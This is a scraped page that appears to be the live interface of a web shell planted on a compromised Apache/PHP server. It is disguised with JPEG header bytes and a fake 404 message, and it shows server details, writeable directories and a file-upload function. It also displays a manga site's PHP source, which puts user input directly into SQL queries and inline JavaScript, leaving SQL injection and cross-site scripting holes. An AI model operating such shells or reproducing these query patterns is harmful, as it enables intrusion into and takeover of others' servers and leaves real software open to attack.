ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/truyentranh/code/ajax/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/truyentranh/code/ajax/load_list_chapter_modal.php
<?php
$truyen_id = $CORE->input['manga_id']??0;
$chuong_id = $CORE->input['chap_id']??0;
$keyword = $CORE->input['keyword']??'';
$keyword = trim($keyword);
$row_check = $DB->fetch_row($DB->query("SELECT * FROM tb_truyen WHERE truyen_id='$truyen_id' AND truyen_active_status='Active'"));
$where = " AND truyen_id='$truyen_id' ";
if(!empty($keyword)){
    $where .= " AND chuong_name LIKE '%".$keyword."%' ";
}
$pageNum = isset($_GET['page_num']) ? intval($_GET['page_num']) : 1;
$pageSize = 51;
$from = (($pageNum * $pageSize) - $pageSize);
$t = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_chuong WHERE 1 ".$where));
$total = $t['total'];
$totalPage = ceil($total / $pageSize);
$query = $DB->query("SELECT * FROM tb_chuong WHERE 1 ".$where." ORDER BY chuong_pos DESC LIMIT $from,$pageSize");
$list_chap = '';
while ($row = $DB->fetch_row($query)){
    $txt_active = '';
    if($chuong_id==$row['chuong_id']){
        $txt_active = 'active';
    }
    $txt_time = '';
    if(!empty($row['lock_to_date']) and strtotime($row['lock_to_date'])>time()){
        $txt_time = '<span class="text-warning"><i class="fas fa-crown"></i></span>';
    }
    $list_chap .= '<li class="wp-manga-chapter '.$txt_active.'" id="chapter_' . $row['chuong_id'] . '"><a href="/' . $row_check['truyen_fname'] . '-' . $row_check['truyen_id'] . '/' . $row['chuong_fname'] . '-' . $row['chuong_id'] . '/">' . $row['chuong_name'] . ' '.$txt_time.'</a></li>';
}
$arr['list_chap'] = $list_chap;
$nav = '';
if($totalPage>6) {
    if($pageNum>1) {
        $nav .= '<li class=""><span class="current prev" href="javascript:void(0);" onclick="load_list_chapter_modal('.$truyen_id.',' . ($pageNum - 1) . ',\''.$keyword.'\','.$chuong_id.');"><i class="icon ion-md-arrow-back"></i><span>Prev</span></span></li>';
    }
    if ($pageNum==1) {
        $nav .= '<li class="active"><span class="current">1</span></li>';
    } else {
        $nav .= '<li><a href="javascript:void(0);" class="page-link" onclick="load_list_chapter_modal('.$truyen_id.',1,\''.$keyword.'\','.$chuong_id.');">1</a></li>';
    }
    if($pageNum==1){
        for($i=2;$i<=3;$i++) {
            if($i>=$totalPage){
                continue;
            }
            if ($i == $pageNum) {
                $nav .= '<li class="active"><span class="current">' . $i . '</span></li>';
            } else {
                $nav .= '<li><a href="javascript:void(0);" class="page-link" onclick="load_list_chapter_modal('.$truyen_id.',' . $i . ',\''.$keyword.'\','.$chuong_id.');">' . $i . '</a></li>';
            }
        }
        $nav .= '<li>...</li>';
    }
    if($pageNum>1 and $pageNum<$totalPage-3){
        if($pageNum>4) {
            $nav .= '<li>...</li>';
        }
        for($i=$pageNum-2;$i<=$pageNum+2;$i++) {
            if($i<2 or $i>=$totalPage){
                continue;
            }
            if ($i == $pageNum) {
                $nav .= '<li class="active"><span class="current">' . $i . '</span></li>';
            } else {
                $nav .= '<li><a href="javascript:void(0);" class="page-link" onclick="load_list_chapter_modal('.$truyen_id.',' . $i . ',\''.$keyword.'\','.$chuong_id.');">' . $i . '</a></li>';
            }
        }

        $nav .= '<li>...</li>';
    }
    if($pageNum>=$totalPage-3 and $pageNum<$totalPage){
        $nav .= '<li>...</li>';
        for($i=$pageNum-2;$i<=$pageNum+2;$i++) {
            if($i<0 or $i>=$totalPage){
                continue;
            }
            if ($i == $pageNum) {
                $nav .= '<li class="active"><span class="current">' . $i . '</span></li>';
            } else {
                $nav .= '<li><a href="javascript:void(0);" class="page-link" onclick="load_list_chapter_modal('.$truyen_id.',' . $i . ',\''.$keyword.'\','.$chuong_id.');">' . $i . '</a></li>';
            }
        }
    }
    if ($totalPage == $pageNum) {
        $nav .= '<li>...</li>';
        for($i=$totalPage-3;$i<=$totalPage-1;$i++) {
            if($i>=$totalPage){
                continue;
            }
            if ($i == $pageNum) {
                $nav .= '<li class="active"><span class="current">' . $i . '</span></li>';
            } else {
                $nav .= '<li><a href="javascript:void(0);" class="page-link" onclick="load_list_chapter_modal('.$truyen_id.',' . $i . ',\''.$keyword.'\','.$chuong_id.');">' . $i . '</a></li>';
            }
        }

        $nav .= '<li class="active"><span class="current">' . $totalPage . '</span></li>';
    } else {
        $nav .= '<li><a href="javascript:void(0);" class="page-link" onclick="load_list_chapter_modal('.$truyen_id.',' . $totalPage . ',\''.$keyword.'\','.$chuong_id.');">' . $totalPage . '</a></li>';

    }
    if($pageNum<$totalPage){
        $nav .= '<li><a href="javascript:void(0);" class="page-link next" onclick="load_list_chapter_modal('.$truyen_id.',' . ($pageNum + 1) . ',\''.$keyword.'\','.$chuong_id.');"><span>Next</span><i class="icon ion-md-arrow-forward"></i></a></li>';
    }


}
if($totalPage>1 and $totalPage<=6){
    if($pageNum>1) {
        $nav .= '<li class=""><span class="current prev" href="javascript:void(0);" onclick="load_list_chapter_modal('.$truyen_id.',' . ($pageNum - 1) . ',\''.$keyword.'\','.$chuong_id.');"><i class="icon ion-md-arrow-back"></i><span>Prev</span></span></li>';
    }
    for($i=1;$i<=$totalPage;$i++){
        if ($i == $pageNum) {
            $nav .= '<li class="active"><span class="current">' . $i . '</span></li>';
        } else {
            $nav .= '<li><a href="javascript:void(0);" class="page-link" onclick="load_list_chapter_modal('.$truyen_id.',' . $i . ',\''.$keyword.'\','.$chuong_id.');">' . $i . '</a></li>';
        }
    }
    if($pageNum<$totalPage){
        $nav .= '<li><a href="javascript:void(0);" class="page-link next" onclick="load_list_chapter_modal('.$truyen_id.',' . ($pageNum + 1) . ',\''.$keyword.'\','.$chuong_id.');"><span>Next</span><i class="icon ion-md-arrow-forward"></i></a></li>';
    }
}
$arr['nav'] = $nav;
echo json_encode($arr);
?>

ZeroDay Forums Mini